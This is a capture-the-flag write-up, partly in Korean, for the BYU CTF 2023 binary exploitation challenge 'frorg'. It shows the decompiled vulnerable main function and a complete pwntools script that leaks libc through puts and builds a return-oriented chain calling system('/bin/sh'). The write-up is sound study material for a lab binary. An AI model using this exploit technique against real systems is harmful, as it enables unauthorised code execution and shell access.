BYU CTF 2023 - frorg

I love arnimals like frorggies and crarbs and octurpurse
nc byuctf.xyz 40015
tag: hard

  • [45 solves / 463 points]

Analysis

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

이 문제는 소스 코드가 주어져 있지 않아서 IDA로 바이너리 분석해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[12]; // [rsp+Ch] [rbp-34h] BYREF
int i; // [rsp+3Ch] [rbp-4h]

puts("I love frorggies so much! So much I made this application to store all the frorgie names you want");
puts("How many frorgies you want to store? ");
__isoc99_scanf("%d", v4);
for ( i = 0; i < v4[0]; ++i )
{
puts("Enter frorgy name: ");
read(0, (char *)&v4[1] + 10 * i, 0xAuLL);
}
puts("Thank you!");
return 0;

main 자체는 간단하다. 명백하게 bof가 발생하는데 이 bof를 몇 번 일으킬지 내가 지정할 수 있다. 문제는 10글자씩 입력할 수 있어서 원하는 주소를 입력할 때 패딩을 잘 주면서 해야 한다.

1
2
3
___(*6)___ _x_    | __(&4)__ __(*4)__
_(^2)_ ___(&6)___ | ____(^8)____
____(%8)____ | ___x___ _(%2)_

*, &, ^, % 순서로 값을 준다고 생각하면 된다.

두 번째 메인에서는 /bin/sh 문자열 위치를 &번째에 넣고 싶었는데 libc 주소는 6바이트로 끝나지 않아서 ^번째에 넣어야 했다. 그래서 pop rdi 전에 ret을 넣어줘서 /bin/sh 문자열 위치를 ^번째에 주는 것에 성공했다.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = process('./frorgp')
e = ELF('./frorgp')
libc = ELF('./libc.so.6')

pop_rdi = 0x4011e5
ret = 0x40101a

p.sendlineafter('?', '9')
p.sendafter(':', 'a'*0xa)
p.sendafter(':', 'b'*0xa)
p.sendafter(':', 'c'*0xa)
p.sendafter(':', 'd'*0xa)

def name(paylaod):
p.sendafter(':', paylaod)
info("send")

name(p32(0x5))

# pause()
name(p32(pop_rdi).rjust(0xa, b'\x00'))
name(p32(0x0) + p32(e.got['puts']).ljust(6, b'\x00')) # 00 00 40 ?? ??
name(b'\x00\x00' + p64(e.plt['puts']))
name(p64(e.symbols['main']))

# libc leak
p.recvuntil('!\n')
libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
info(hex(libc_leak))
libc.address = libc_leak - libc.symbols['puts']
info(hex(libc.address))

# seccond main
# system('/bin/sh')
p.sendlineafter('?', '9')
p.sendafter(':', 'a'*0xa)
p.sendafter(':', 'b'*0xa)
p.sendafter(':', 'c'*0xa)
p.sendafter(':', 'd'*0xa)

name(p32(0x5))

pause()
name(p32(ret).rjust(0xa, b'\x00')) # ret
name(p32(0x0) + p32(pop_rdi).ljust(6, b'\x00')) # 00 00 40 ?? ??
name(b'\x00\x00' + p64(next(libc.search(b'/bin/sh\x00'))))
name(p64(libc.symbols['system']))

p.interactive()
1
2
p32(pop_rdi).ljust(6, b'\x00')
00 00 40 ?? ??